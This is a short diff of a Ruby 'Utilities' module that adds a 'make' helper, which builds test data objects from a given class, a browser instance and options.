@@ -13,4 +268,9 @@ module Utilities
13
268
  return month + day.to_s + year + hour.to_s + mins
14
269
  end
15
270
 
271
+ # Shorthand method for making a data object for testing.
272
+ def make data_object_class, opts={}
273
+ data_object_class.new @browser, opts
274
+ end
275
+
16
276
  end